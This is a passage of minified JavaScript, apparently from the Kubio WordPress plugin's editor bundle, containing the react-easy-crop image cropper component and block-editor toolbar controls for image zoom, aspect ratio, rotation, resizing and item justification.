t=function(e,t,n,o,i,r){var l=Xw(t.width,t.height,n),s=Qw(o.width/l.width*(100/e.width),i,r);return{crop:{x:s*l.width/2-o.width/2-l.width*s*(e.x/100),y:s*l.height/2-o.height/2-l.height*s*(e.y/100)},zoom:s}}(n.props.initialCroppedAreaPercentages,n.mediaSize,n.props.rotation,e,n.props.minZoom,n.props.maxZoom),o=t.crop,i=t.zoom;n.props.onCropChange(o),n.props.onZoomChange&&n.props.onZoomChange(i)}else if(n.props.initialCroppedAreaPixels){var r=function(e,t,n,o,i,r){void 0===n&&(n=0);var l=Xw(t.naturalWidth,t.naturalHeight,n),s=Qw(function(e,t,n){var o=function(e){return e.width>e.height?e.width/e.naturalWidth:e.height/e.naturalHeight}(t);return n.height>n.width?n.height/(e.height*o):n.width/(e.width*o)}(e,t,o),i,r),a=o.height>o.width?o.height/e.height:o.width/e.width;return{crop:{x:((l.width-e.width)/2-e.x)*a,y:((l.height-e.height)/2-e.y)*a},zoom:s}}(n.props.initialCroppedAreaPixels,n.mediaSize,n.props.rotation,e,n.props.minZoom,n.props.maxZoom);o=r.crop,i=r.zoom,n.props.onCropChange(o),n.props.onZoomChange&&n.props.onZoomChange(i)}},n.computeSizes=function(){var e,t,o,i,r,l,s=n.imageRef.current||n.videoRef.current;if(s&&n.containerRef){n.containerRect=n.containerRef.getBoundingClientRect(),n.saveContainerPosition();var a=n.containerRect.width/n.containerRect.height,c=(null===(e=n.imageRef.current)||void 0===e?void 0:e.naturalWidth)||(null===(t=n.videoRef.current)||void 0===t?void 0:t.videoWidth)||0,u=(null===(o=n.imageRef.current)||void 0===o?void 0:o.naturalHeight)||(null===(i=n.videoRef.current)||void 0===i?void 0:i.videoHeight)||0,d=c/u,p=void 0;if(s.offsetWidth<c||s.offsetHeight<u)switch(n.state.mediaObjectFit){default:case"contain":p=a>d?{width:n.containerRect.height*d,height:n.containerRect.height}:{width:n.containerRect.width,height:n.containerRect.width/d};break;case"horizontal-cover":p={width:n.containerRect.width,height:n.containerRect.width/d};break;case"vertical-cover":p={width:n.containerRect.height*d,height:n.containerRect.height}}else p={width:s.offsetWidth,height:s.offsetHeight};n.mediaSize=Fe(Fe({},p),{naturalWidth:c,naturalHeight:u}),n.props.setMediaSize&&n.props.setMediaSize(n.mediaSize);var h=n.props.cropSize?n.props.cropSize:function(e,t,n,o,i,r){void 0===r&&(r=0);var l=Xw(e,t,r),s=l.width,a=l.height,c=Math.min(s,n),u=Math.min(a,o);return c>u*i?{width:u*i,height:u}:{width:c,height:c/i}}(n.mediaSize.width,n.mediaSize.height,n.containerRect.width,n.containerRect.height,n.props.aspect,n.props.rotation);return(null===(r=n.state.cropSize)||void 0===r?void 0:r.height)===h.height&&(null===(l=n.state.cropSize)||void 0===l?void 0:l.width)===h.width||n.props.onCropSizeChange&&n.props.onCropSizeChange(h),n.setState({cropSize:h},n.recomputeCropPosition),n.props.setCropSize&&n.props.setCropSize(h),h}},n.saveContainerPosition=function(){if(n.containerRef){var e=n.containerRef.getBoundingClientRect();n.containerPosition={x:e.left,y:e.top}}},n.onMouseDown=function(e){n.currentDoc&&(e.preventDefault(),n.currentDoc.addEventListener("mousemove",n.onMouseMove),n.currentDoc.addEventListener("mouseup",n.onDragStopped),n.saveContainerPosition(),n.onDragStart(t.getMousePoint(e)))},n.onMouseMove=function(e){return n.onDrag(t.getMousePoint(e))},n.onScroll=function(e){n.currentDoc&&(e.preventDefault(),n.saveContainerPosition())},n.onTouchStart=function(e){n.currentDoc&&(n.isTouching=!0,n.props.onTouchRequest&&!n.props.onTouchRequest(e)||(n.currentDoc.addEventListener("touchmove",n.onTouchMove,{passive:!1}),n.currentDoc.addEventListener("touchend",n.onDragStopped),n.saveContainerPosition(),2===e.touches.length?n.onPinchStart(e):1===e.touches.length&&n.onDragStart(t.getTouchPoint(e.touches[0]))))},n.onTouchMove=function(e){e.preventDefault(),2===e.touches.length?n.onPinchMove(e):1===e.touches.length&&n.onDrag(t.getTouchPoint(e.touches[0]))},n.onGestureStart=function(e){n.currentDoc&&(e.preventDefault(),n.currentDoc.addEventListener("gesturechange",n.onGestureMove),n.currentDoc.addEventListener("gestureend",n.onGestureEnd),n.gestureZoomStart=n.props.zoom,n.gestureRotationStart=n.props.rotation)},n.onGestureMove=function(e){if(e.preventDefault(),!n.isTouching){var o=t.getMousePoint(e),i=n.gestureZoomStart-1+e.scale;if(n.setNewZoom(i,o,{shouldUpdatePosition:!0}),n.props.onRotationChange){var r=n.gestureRotationStart+e.rotation;n.props.onRotationChange(r)}}},n.onGestureEnd=function(e){n.cleanEvents()},n.onDragStart=function(e){var t,o,i=e.x,r=e.y;n.dragStartPosition={x:i,y:r},n.dragStartCrop=Fe({},n.props.crop),null===(o=(t=n.props).onInteractionStart)||void 0===o||o.call(t)},n.onDrag=function(e){var t=e.x,o=e.y;n.currentWindow&&(n.rafDragTimeout&&n.currentWindow.cancelAnimationFrame(n.rafDragTimeout),n.rafDragTimeout=n.currentWindow.requestAnimationFrame((function(){if(n.state.cropSize&&void 0!==t&&void 0!==o){var e=t-n.dragStartPosition.x,i=o-n.dragStartPosition.y,r={x:n.dragStartCrop.x+e,y:n.dragStartCrop.y+i},l=n.props.restrictPosition?$w(r,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):r;n.props.onCropChange(l)}})))},n.onDragStopped=function(){var e,t;n.isTouching=!1,n.cleanEvents(),n.emitCropData(),null===(t=(e=n.props).onInteractionEnd)||void 0===t||t.call(e)},n.onWheel=function(e){if(n.currentWindow&&(!n.props.onWheelRequest||n.props.onWheelRequest(e))){e.preventDefault();var o=t.getMousePoint(e),i=Gw()(e).pixelY,r=n.props.zoom-i*n.props.zoomSpeed/200;n.setNewZoom(r,o,{shouldUpdatePosition:!0}),n.state.hasWheelJustStarted||n.setState({hasWheelJustStarted:!0},(function(){var e,t;return null===(t=(e=n.props).onInteractionStart)||void 0===t?void 0:t.call(e)})),n.wheelTimer&&clearTimeout(n.wheelTimer),n.wheelTimer=n.currentWindow.setTimeout((function(){return n.setState({hasWheelJustStarted:!1},(function(){var e,t;return null===(t=(e=n.props).onInteractionEnd)||void 0===t?void 0:t.call(e)}))}),250)}},n.getPointOnContainer=function(e,t){var o=e.x,i=e.y;if(!n.containerRect)throw new Error("The Cropper is not mounted");return{x:n.containerRect.width/2-(o-t.x),y:n.containerRect.height/2-(i-t.y)}},n.getPointOnMedia=function(e){var t=e.x,o=e.y,i=n.props,r=i.crop,l=i.zoom;return{x:(t+r.x)/l,y:(o+r.y)/l}},n.setNewZoom=function(e,t,o){var i=(void 0===o?{}:o).shouldUpdatePosition,r=void 0===i||i;if(n.state.cropSize&&n.props.onZoomChange){var l=Qw(e,n.props.minZoom,n.props.maxZoom);if(r){var s=n.getPointOnContainer(t,n.containerPosition),a=n.getPointOnMedia(s),c={x:a.x*l-s.x,y:a.y*l-s.y},u=n.props.restrictPosition?$w(c,n.mediaSize,n.state.cropSize,l,n.props.rotation):c;n.props.onCropChange(u)}n.props.onZoomChange(l)}},n.getCropData=function(){return n.state.cropSize?function(e,t,n,o,i,r,l){void 0===r&&(r=0),void 0===l&&(l=!0);var s=l?Zw:qw,a=Xw(t.width,t.height,r),c=Xw(t.naturalWidth,t.naturalHeight,r),u={x:s(100,((a.width-n.width/i)/2-e.x/i)/a.width*100),y:s(100,((a.height-n.height/i)/2-e.y/i)/a.height*100),width:s(100,n.width/a.width*100/i),height:s(100,n.height/a.height*100/i)},d=Math.round(s(c.width,u.width*c.width/100)),p=Math.round(s(c.height,u.height*c.height/100)),h=c.width>=c.height*o?{width:Math.round(p*o),height:p}:{width:d,height:Math.round(d/o)};return{croppedAreaPercentages:u,croppedAreaPixels:Fe(Fe({},h),{x:Math.round(s(c.width-h.width,u.x*c.width/100)),y:Math.round(s(c.height-h.height,u.y*c.height/100))})}}(n.props.restrictPosition?$w(n.props.crop,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):n.props.crop,n.mediaSize,n.state.cropSize,n.getAspect(),n.props.zoom,n.props.rotation,n.props.restrictPosition):null},n.emitCropData=function(){var e=n.getCropData();if(e){var t=e.croppedAreaPercentages,o=e.croppedAreaPixels;n.props.onCropComplete&&n.props.onCropComplete(t,o),n.props.onCropAreaChange&&n.props.onCropAreaChange(t,o)}},n.emitCropAreaChange=function(){var e=n.getCropData();if(e){var t=e.croppedAreaPercentages,o=e.croppedAreaPixels;n.props.onCropAreaChange&&n.props.onCropAreaChange(t,o)}},n.recomputeCropPosition=function(){if(n.state.cropSize){var e=n.props.restrictPosition?$w(n.props.crop,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):n.props.crop;n.props.onCropChange(e),n.emitCropData()}},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function __(){this.constructor=e}ze(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}(t,e),t.prototype.componentDidMount=function(){this.currentDoc&&this.currentWindow&&(this.containerRef&&(this.containerRef.ownerDocument&&(this.currentDoc=this.containerRef.ownerDocument),this.currentDoc.defaultView&&(this.currentWindow=this.currentDoc.defaultView),this.initResizeObserver(),void 0===window.ResizeObserver&&this.currentWindow.addEventListener("resize",this.computeSizes),this.props.zoomWithScroll&&this.containerRef.addEventListener("wheel",this.onWheel,{passive:!1}),this.containerRef.addEventListener("gesturestart",this.onGestureStart)),this.currentDoc.addEventListener("scroll",this.onScroll),this.props.disableAutomaticStylesInjection||(this.styleRef=this.currentDoc.createElement("style"),this.styleRef.setAttribute("type","text/css"),this.props.nonce&&this.styleRef.setAttribute("nonce",this.props.nonce),this.styleRef.innerHTML=".reactEasyCrop_Container {\n position: absolute;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0;\n overflow: hidden;\n user-select: none;\n touch-action: none;\n cursor: move;\n display: flex;\n justify-content: center;\n align-items: center;\n}\n\n.reactEasyCrop_Image,\n.reactEasyCrop_Video {\n will-change: transform; /* this improves performances and prevent painting issues on iOS Chrome */\n}\n\n.reactEasyCrop_Contain {\n max-width: 100%;\n max-height: 100%;\n margin: auto;\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n}\n.reactEasyCrop_Cover_Horizontal {\n width: 100%;\n height: auto;\n}\n.reactEasyCrop_Cover_Vertical {\n width: auto;\n height: 100%;\n}\n\n.reactEasyCrop_CropArea {\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%);\n border: 1px solid rgba(255, 255, 255, 0.5);\n box-sizing: border-box;\n box-shadow: 0 0 0 9999em;\n color: rgba(0, 0, 0, 0.5);\n overflow: hidden;\n}\n\n.reactEasyCrop_CropAreaRound {\n border-radius: 50%;\n}\n\n.reactEasyCrop_CropAreaGrid::before {\n content: ' ';\n box-sizing: border-box;\n position: absolute;\n border: 1px solid rgba(255, 255, 255, 0.5);\n top: 0;\n bottom: 0;\n left: 33.33%;\n right: 33.33%;\n border-top: 0;\n border-bottom: 0;\n}\n\n.reactEasyCrop_CropAreaGrid::after {\n content: ' ';\n box-sizing: border-box;\n position: absolute;\n border: 1px solid rgba(255, 255, 255, 0.5);\n top: 33.33%;\n bottom: 33.33%;\n left: 0;\n right: 0;\n border-left: 0;\n border-right: 0;\n}\n",this.currentDoc.head.appendChild(this.styleRef)),this.imageRef.current&&this.imageRef.current.complete&&this.onMediaLoad(),this.props.setImageRef&&this.props.setImageRef(this.imageRef),this.props.setVideoRef&&this.props.setVideoRef(this.videoRef))},t.prototype.componentWillUnmount=function(){var e,t;this.currentDoc&&this.currentWindow&&(void 0===window.ResizeObserver&&this.currentWindow.removeEventListener("resize",this.computeSizes),null===(e=this.resizeObserver)||void 0===e||e.disconnect(),this.containerRef&&this.containerRef.removeEventListener("gesturestart",this.preventZoomSafari),this.styleRef&&(null===(t=this.styleRef.parentNode)||void 0===t||t.removeChild(this.styleRef)),this.cleanEvents(),this.props.zoomWithScroll&&this.clearScrollEvent())},t.prototype.componentDidUpdate=function(e){var t,n,o,i,r,l,s,a,c;e.rotation!==this.props.rotation?(this.computeSizes(),this.recomputeCropPosition()):e.aspect!==this.props.aspect||e.objectFit!==this.props.objectFit?this.computeSizes():e.zoom!==this.props.zoom?this.recomputeCropPosition():(null===(t=e.cropSize)||void 0===t?void 0:t.height)!==(null===(n=this.props.cropSize)||void 0===n?void 0:n.height)||(null===(o=e.cropSize)||void 0===o?void 0:o.width)!==(null===(i=this.props.cropSize)||void 0===i?void 0:i.width)?this.computeSizes():(null===(r=e.crop)||void 0===r?void 0:r.x)===(null===(l=this.props.crop)||void 0===l?void 0:l.x)&&(null===(s=e.crop)||void 0===s?void 0:s.y)===(null===(a=this.props.crop)||void 0===a?void 0:a.y)||this.emitCropAreaChange(),e.zoomWithScroll!==this.props.zoomWithScroll&&this.containerRef&&(this.props.zoomWithScroll?this.containerRef.addEventListener("wheel",this.onWheel,{passive:!1}):this.clearScrollEvent()),e.video!==this.props.video&&(null===(c=this.videoRef.current)||void 0===c||c.load());var u=this.getObjectFit();u!==this.state.mediaObjectFit&&this.setState({mediaObjectFit:u},this.computeSizes)},t.prototype.getAspect=function(){var e=this.props,t=e.cropSize,n=e.aspect;return t?t.width/t.height:n},t.prototype.getObjectFit=function(){var e,t,n,o;if("cover"===this.props.objectFit){if((this.imageRef.current||this.videoRef.current)&&this.containerRef){this.containerRect=this.containerRef.getBoundingClientRect();var i=this.containerRect.width/this.containerRect.height;return((null===(e=this.imageRef.current)||void 0===e?void 0:e.naturalWidth)||(null===(t=this.videoRef.current)||void 0===t?void 0:t.videoWidth)||0)/((null===(n=this.imageRef.current)||void 0===n?void 0:n.naturalHeight)||(null===(o=this.videoRef.current)||void 0===o?void 0:o.videoHeight)||0)<i?"horizontal-cover":"vertical-cover"}return"horizontal-cover"}return this.props.objectFit},t.prototype.onPinchStart=function(e){var n=t.getTouchPoint(e.touches[0]),o=t.getTouchPoint(e.touches[1]);this.lastPinchDistance=Ww(n,o),this.lastPinchRotation=Kw(n,o),this.onDragStart(Yw(n,o))},t.prototype.onPinchMove=function(e){var n=this;if(this.currentDoc&&this.currentWindow){var o=t.getTouchPoint(e.touches[0]),i=t.getTouchPoint(e.touches[1]),r=Yw(o,i);this.onDrag(r),this.rafPinchTimeout&&this.currentWindow.cancelAnimationFrame(this.rafPinchTimeout),this.rafPinchTimeout=this.currentWindow.requestAnimationFrame((function(){var e=Ww(o,i),t=n.props.zoom*(e/n.lastPinchDistance);n.setNewZoom(t,r,{shouldUpdatePosition:!1}),n.lastPinchDistance=e;var l=Kw(o,i),s=n.props.rotation+(l-n.lastPinchRotation);n.props.onRotationChange&&n.props.onRotationChange(s),n.lastPinchRotation=l}))}},t.prototype.render=function(){var e,t=this,n=this.props,o=n.image,i=n.video,r=n.mediaProps,l=n.transform,s=n.crop,a=s.x,c=s.y,u=n.rotation,d=n.zoom,p=n.cropShape,h=n.showGrid,g=n.style,f=g.containerStyle,m=g.cropAreaStyle,v=g.mediaStyle,b=n.classes,k=b.containerClassName,_=b.cropAreaClassName,y=b.mediaClassName,x=null!==(e=this.state.mediaObjectFit)&&void 0!==e?e:this.getObjectFit();return ff.createElement("div",{onMouseDown:this.onMouseDown,onTouchStart:this.onTouchStart,ref:function(e){return t.containerRef=e},"data-testid":"container",style:f,className:Jw("reactEasyCrop_Container",k)},o?ff.createElement("img",Fe({alt:"",className:Jw("reactEasyCrop_Image","contain"===x&&"reactEasyCrop_Contain","horizontal-cover"===x&&"reactEasyCrop_Cover_Horizontal","vertical-cover"===x&&"reactEasyCrop_Cover_Vertical",y)},r,{src:o,ref:this.imageRef,style:Fe(Fe({},v),{transform:l||"translate(".concat(a,"px, ").concat(c,"px) rotate(").concat(u,"deg) scale(").concat(d,")")}),onLoad:this.onMediaLoad})):i&&ff.createElement("video",Fe({autoPlay:!0,playsInline:!0,loop:!0,muted:!0,className:Jw("reactEasyCrop_Video","contain"===x&&"reactEasyCrop_Contain","horizontal-cover"===x&&"reactEasyCrop_Cover_Horizontal","vertical-cover"===x&&"reactEasyCrop_Cover_Vertical",y)},r,{ref:this.videoRef,onLoadedMetadata:this.onMediaLoad,style:Fe(Fe({},v),{transform:l||"translate(".concat(a,"px, ").concat(c,"px) rotate(").concat(u,"deg) scale(").concat(d,")")}),controls:!1}),(Array.isArray(i)?i:[{src:i}]).map((function(e){return ff.createElement("source",Fe({key:e.src},e))}))),this.state.cropSize&&ff.createElement("div",{style:Fe(Fe({},m),{width:this.state.cropSize.width,height:this.state.cropSize.height}),"data-testid":"cropper",className:Jw("reactEasyCrop_CropArea","round"===p&&"reactEasyCrop_CropAreaRound",h&&"reactEasyCrop_CropAreaGrid",_)}))},t.defaultProps={zoom:1,rotation:0,aspect:4/3,maxZoom:3,minZoom:1,cropShape:"rect",objectFit:"contain",showGrid:!0,style:{},classes:{},mediaProps:{},zoomSpeed:1,restrictPosition:!0,zoomWithScroll:!0},t.getMousePoint=function(e){return{x:Number(e.clientX),y:Number(e.clientY)}},t.getTouchPoint=function(e){return{x:Number(e.clientX),y:Number(e.clientY)}},t}(ff.Component);const tC=100,nC=300,oC={placement:"bottom-start"};function iC({url:e,width:t,height:n,clientWidth:o,naturalHeight:i,naturalWidth:r,borderProps:l}){const{isInProgress:s,editedUrl:a,position:c,zoom:u,aspect:d,setPosition:p,setCrop:h,setZoom:g,rotation:f}=Fw();o||(o=r);let m=n||o*i/r;return f%180==90&&(m=o*r/i),(0,Nt.jsxs)("div",{className:Oa()("wp-block-image__crop-area",null==l?void 0:l.className,{"is-applying":s}),style:{...null==l?void 0:l.style,width:t||o,height:m},children:[(0,Nt.jsx)(eC,{image:a||e,disabled:s,minZoom:tC/100,maxZoom:nC/100,crop:c,zoom:u/100,aspect:d,onCropChange:e=>{p(e)},onCropComplete:e=>{h(e)},onZoomChange:e=>{g(100*e)}}),s&&(0,Nt.jsx)(ne.Spinner,{})]})}function rC(){const{isInProgress:e,zoom:t,setZoom:n}=Fw();return(0,Nt.jsx)(ne.Dropdown,{contentClassName:"wp-block-image__zoom",popoverProps:oC,renderToggle:({isOpen:t,onToggle:n})=>(0,Nt.jsx)(ne.ToolbarButton,{icon:Dd,label:(0,Je.__)("Zoom"),onClick:n,"aria-expanded":t,disabled:e}),renderContent:()=>(0,Nt.jsx)(ne.__experimentalDropdownContentWrapper,{paddingSize:"medium",children:(0,Nt.jsx)(ne.RangeControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,Je.__)("Zoom"),min:tC,max:nC,value:Math.round(t),onChange:n})})})}const lC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z"})});function sC({aspectRatios:e,isDisabled:t,label:n,onClick:o,value:i}){return(0,Nt.jsx)(ne.MenuGroup,{label:n,children:e.map((({title:e,aspect:n})=>(0,Nt.jsx)(ne.MenuItem,{disabled:t,onClick:()=>{o(n)},role:"menuitemradio",isSelected:n===i,icon:n===i?b_:void 0,children:e},n)))})}function aC({toggleProps:e}){const{isInProgress:t,aspect:n,setAspect:o,defaultAspect:i}=Fw();return(0,Nt.jsx)(ne.DropdownMenu,{icon:lC,label:(0,Je.__)("Aspect Ratio","kubio"),popoverProps:oC,toggleProps:e,className:"wp-block-image__aspect-ratio",children:({onClose:e})=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(sC,{isDisabled:t,onClick:t=>{o(t),e()},value:n,aspectRatios:[{title:(0,Je.__)("Original","kubio"),aspect:i},{title:(0,Je.__)("Square","kubio"),aspect:1}]}),(0,Nt.jsx)(sC,{label:(0,Je.__)("Landscape","kubio"),isDisabled:t,onClick:t=>{o(t),e()},value:n,aspectRatios:[{title:(0,Je.__)("16:9","kubio"),aspect:16/9,ratio:16/9},{title:(0,Je.__)("4:3","kubio"),aspect:4/3,ratio:4/3},{title:(0,Je.__)("3:2","kubio"),aspect:1.5,ratio:1.5}]}),(0,Nt.jsx)(sC,{label:(0,Je.__)("Portrait","kubio"),isDisabled:t,onClick:t=>{o(t),e()},value:n,aspectRatios:[{title:(0,Je.__)("9:16","kubio"),aspect:9/16},{title:(0,Je.__)("3:4","kubio"),aspect:3/4},{title:(0,Je.__)("2:3","kubio"),aspect:2/3}]})]})})}const cC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z"})});function uC(){const{isInProgress:e,rotateClockwise:t}=Fw();return(0,Nt.jsx)(ne.ToolbarButton,{icon:cC,label:(0,Je.__)("Rotate","kubio"),onClick:t,disabled:e})}function dC(){const{isInProgress:e,apply:t,cancel:n}=Fw();return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.ToolbarButton,{onClick:t,disabled:e,children:(0,Je.__)("Apply","kubio")}),(0,Nt.jsx)(ne.ToolbarButton,{onClick:n,children:(0,Je.__)("Cancel","kubio")})]})}function pC({id:e,url:t,width:n,height:o,clientWidth:i,naturalHeight:r,naturalWidth:l,onSaveImage:s,onFinishEditing:a,borderProps:c}){const{clientId:d}=S();let p=(0,u.useMemo)((()=>{var e;if(i)return i;let t=document.querySelector("iframe"),n=null==t||null===(e=t.contentWindow)||void 0===e?void 0:e.document;if(!n)return null;let o=n.querySelector(`[data-block="${d}"] img`);return o?o.offsetWidth:null}),[]);return(0,Nt.jsxs)(Vw,{id:e,url:t,naturalWidth:l,naturalHeight:r,onSaveImage:s,onFinishEditing:a,children:[(0,Nt.jsx)(iC,{borderProps:c,url:t,width:n,height:o,clientWidth:p,naturalHeight:r,naturalWidth:l}),(0,Nt.jsxs)(H_,{children:[(0,Nt.jsxs)(ne.ToolbarGroup,{children:[(0,Nt.jsx)(rC,{}),(0,Nt.jsx)(ne.ToolbarItem,{children:e=>(0,Nt.jsx)(aC,{toggleProps:e})}),(0,Nt.jsx)(uC,{})]}),(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(dC,{})})]})]})}const hC=[25,50,75,100],gC=()=>{};function fC(e,t,n){return{scaledWidth:Math.round(t*(e/100)),scaledHeight:Math.round(n*(e/100))}}function mC({imageSizeHelp:e,imageWidth:t,imageHeight:n,imageSizeOptions:o=[],isResizable:i=!0,slug:r,width:l,height:s,onChange:a,onChangeImage:c=gC}){const{currentHeight:d,currentWidth:p,updateDimension:h,updateDimensions:g}=function(e,t,n,o,i){var r,l;const[s,a]=(0,u.useState)(null!==(r=null!=t?t:o)&&void 0!==r?r:""),[c,d]=(0,u.useState)(null!==(l=null!=e?e:n)&&void 0!==l?l:"");return(0,u.useEffect)((()=>{void 0===t&&void 0!==o&&a(o),void 0===e&&void 0!==n&&d(n)}),[o,n]),(0,u.useEffect)((()=>{void 0!==t&&Number.parseInt(t)!==Number.parseInt(s)&&a(t),void 0!==e&&Number.parseInt(e)!==Number.parseInt(c)&&d(e)}),[t,e]),{currentHeight:c,currentWidth:s,updateDimension:(e,t)=>{const n=""===t?void 0:parseInt(t,10);"width"===e?a(n):d(n),i({[e]:n})},updateDimensions:(e,t)=>{d(null!=e?e:n),a(null!=t?t:o),i({height:e,width:t})}}}(s,l,n,t,a),f=hC.find((e=>{const{scaledWidth:o,scaledHeight:i}=fC(e,t,n);return p===o&&d===i}));return(0,Nt.jsxs)(Nt.Fragment,{children:[o&&o.length>0&&(0,Nt.jsx)(ne.SelectControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Resolution"),value:r,options:o,onChange:c,help:e,size:"__unstable-large"}),i&&(0,Nt.jsxs)("div",{className:"block-editor-image-size-control",children:[(0,Nt.jsxs)(ne.__experimentalHStack,{align:"baseline",spacing:"3",children:[(0,Nt.jsx)(ne.__experimentalNumberControl,{className:"block-editor-image-size-control__width",label:(0,Je.__)("Width"),value:p,min:1,onChange:e=>h("width",e),size:"__unstable-large"}),(0,Nt.jsx)(ne.__experimentalNumberControl,{className:"block-editor-image-size-control__height",label:(0,Je.__)("Height"),value:d,min:1,onChange:e=>h("height",e),size:"__unstable-large"})]}),(0,Nt.jsx)(ne.__experimentalToggleGroupControl,{label:(0,Je.__)("Image size presets"),hideLabelFromVision:!0,onChange:e=>{if(void 0===e)return void g();const{scaledWidth:o,scaledHeight:i}=fC(e,t,n);g(i,o)},value:f,isBlock:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,children:hC.map((e=>(0,Nt.jsx)(ne.__experimentalToggleGroupControlOption,{value:e,label:(0,Je.sprintf)(/* translators: Percentage value. */ /* translators: Percentage value. */(0,Je.__)("%d%%"),e)},e)))})]})]})}const vC={left:Ja,center:ec,right:tc,"space-between":nc,stretch:oc},bC=function({allowedControls:e=["left","center","right","space-between"],isCollapsed:t=!0,onChange:n,value:o,popoverProps:i,isToolbar:r}){const l=e=>{n(e===o?void 0:e)},s=o?vC[o]:vC.left,a=[{name:"left",icon:Ja,title:(0,Je.__)("Justify items left","kubio"),isActive:"left"===o,onClick:()=>l("left")},{name:"center",icon:ec,title:(0,Je.__)("Justify items center","kubio"),isActive:"center"===o,onClick:()=>l("center")},{name:"right",icon:tc,title:(0,Je.__)("Justify items right","kubio"),isActive:"right"===o,onClick:()=>l("right")},{name:"space-between",icon:nc,title:(0,Je.__)("Space between items","kubio"),isActive:"space-between"===o,onClick:()=>l("space-between")},{name:"stretch",icon:oc,title:(0,Je.__)("Stretch items","kubio"),isActive:"stretch"===o,onClick:()=>l("stretch")}],c=r?ne.ToolbarGroup:ne.ToolbarDropdownMenu,u=r?{isCollapsed:t}:{};return(0,Nt.jsx)(c,{icon:s,popoverProps:i,label:(0,Je.__)("Change items justification","kubio"),controls:a.filter((t=>e.includes(t.name))),...u})},kC=e=>(0,Nt.jsx)(bC,{...e,isToolbar:!1}),_C=e=>(0,Nt.jsx)(bC,{...e,isToolbar:!0}),yC=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z"})}),xC=function e({children:t,settingsOpen:n,setSettingsOpen:o}){const i=(0,p.useReducedMotion)(),r=i?u.Fragment:ne.__unstableAnimatePresence,l=i?"div":ne.__unstableMotion.div,s=`link-control-settings-drawer-${(0,p.useInstanceId)(e)}`;return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,className:"block-editor-link-control__drawer-toggle","aria-expanded":n,onClick:()=>o(!n),icon:(0,Je.isRTL)()?Ix:dd,"aria-controls":s,children:(0,Je._x)("Advanced","Additional link settings")}),(0,Nt.jsx)(r,{children:n&&(0,Nt.jsx)(l,{className:"block-editor-link-control__drawer",hidden:!n,id:s,initial:"collapsed",animate:"open",exit:"collapsed",variants:{open:{opacity:1,height:"auto"},collapsed:{opacity:0,height:0}},transition:{duration:.1},children:(0,Nt.jsx)("div",{className:"block-editor-link-control__drawer-inner",children:t})})})]})},SC=({searchTerm:e,onClick:t,itemProps:n,buttonText:o})=>{if(!e)return null;let i;return i=o?"function"==typeof o?o(e):o:(0,u.createInterpolateElement)((0,Je.sprintf)(/* translators: %s: search term. */ /* translators: %s: search term. */(0,Je.__)("Create: <mark>%s</mark>"),e),{mark:(0,Nt.jsx)("mark",{})}),(0,Nt.jsx)(ne.MenuItem,{...n,iconPosition:"left",icon:xd,className:"block-editor-link-control__search-item",onClick:t,children:i})},wC=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 